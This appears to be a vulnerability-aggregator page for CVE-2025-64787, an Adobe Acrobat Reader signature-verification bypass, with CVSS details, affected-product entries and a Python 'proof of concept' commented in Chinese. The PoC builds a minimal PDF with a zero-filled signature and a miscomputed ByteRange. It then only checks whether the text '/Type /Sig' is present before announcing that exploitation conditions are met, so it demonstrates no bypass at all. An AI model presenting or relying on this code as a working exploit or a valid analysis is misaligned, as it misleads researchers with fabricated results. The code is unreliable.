CVE-2025-64787

Description

Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass cryptographic protections and gain limited unauthorized write access. Exploitation of this issue requires user interaction with a cryptographic signature.

CVSS Details

CVSS Score

3.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE

cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:* - VULNERABLE

cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:* - VULNERABLE

cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* - VULNERABLE

cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Acrobat Reader 24.001.30264及更早版本

Adobe Acrobat Reader 20.005.30793及更早版本

Adobe Acrobat Reader 25.001.20982及更早版本

Adobe Acrobat Reader 24.001.30273及更早版本

Adobe Acrobat Reader 20.005.30803及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64787 PoC - Adobe Acrobat Reader加密签名验证绕过
# 注意：此PoC仅用于安全研究和漏洞分析

import struct
import hashlib
import os

def create_malicious_pdf():
    """
    创建包含恶意签名的PDF文件用于测试签名验证漏洞
    此PoC演示漏洞原理，实际攻击需要特定的签名构造技术
    """
    
    # PDF文件头
    pdf_header = b'%PDF-1.7\n'
    
    # 文档对象
    catalog = b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n'
    
    # 页面对象
    pages = b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n'
    
    # 页面内容
    page = b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n'
    
    # 签名字段（漏洞利用点）
    # 攻击者可以修改签名对象的某些属性来绕过验证
    sig_field = b'4 0 obj\n<< /Type /Sig /Filter /Adobe.PPKLite /Contents <'
    sig_field += b'0' * 512  # 伪造签名内容
    sig_field += b'> /ByteRange [0 %d  %d %d] >>\nendobj\n' % (
        len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field),
        len(pdf_header),
        len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field)
    )
    
    # 交叉引用表
    xref = b'xref\n0 5\n'
    xref += b'0000000000 65535 f \n'
    xref += b'0000000009 00000 n \n'
    xref += b'0000000058 00000 n \n'
    xref += b'0000000115 00000 n \n'
    xref += b'0000000200 00000 n \n'
    
    # 文件尾部
    trailer = b'trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF' % (
        len(pdf_header) + len(catalog) + len(pages) + len(page) + len(sig_field) + len(xref)
    )
    
    # 组装完整PDF
    malicious_pdf = pdf_header + catalog + pages + page + sig_field + xref + trailer
    
    return malicious_pdf

def verify_signature_bypass():
    """
    验证签名绕过条件
    检查PDF是否包含可被利用的签名字段
    """
    pdf_data = create_malicious_pdf()
    
    # 检查是否存在签名对象
    if b'/Type /Sig' in pdf_data:
        print('[+] 签名对象检测成功')
        print('[+] PDF包含可被利用的签名字段')
        print('[+] 漏洞利用条件满足')
        return True
    else:
        print('[-] 未检测到签名对象')
        return False

if __name__ == '__main__':
    print('CVE-2025-64787 PoC - Adobe Acrobat Reader签名验证绕过')
    print('=' * 60)
    verify_signature_bypass()
    print('\n[!] 此PoC仅供安全研究使用，请勿用于非法目的')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64787
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64787
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64787/
[4] VulDB https://vuldb.com/cve/CVE-2025-64787
[5] https://helpx.adobe.com/security/products/acrobat/apsb25-119.html

Raw JSON Data

JSON

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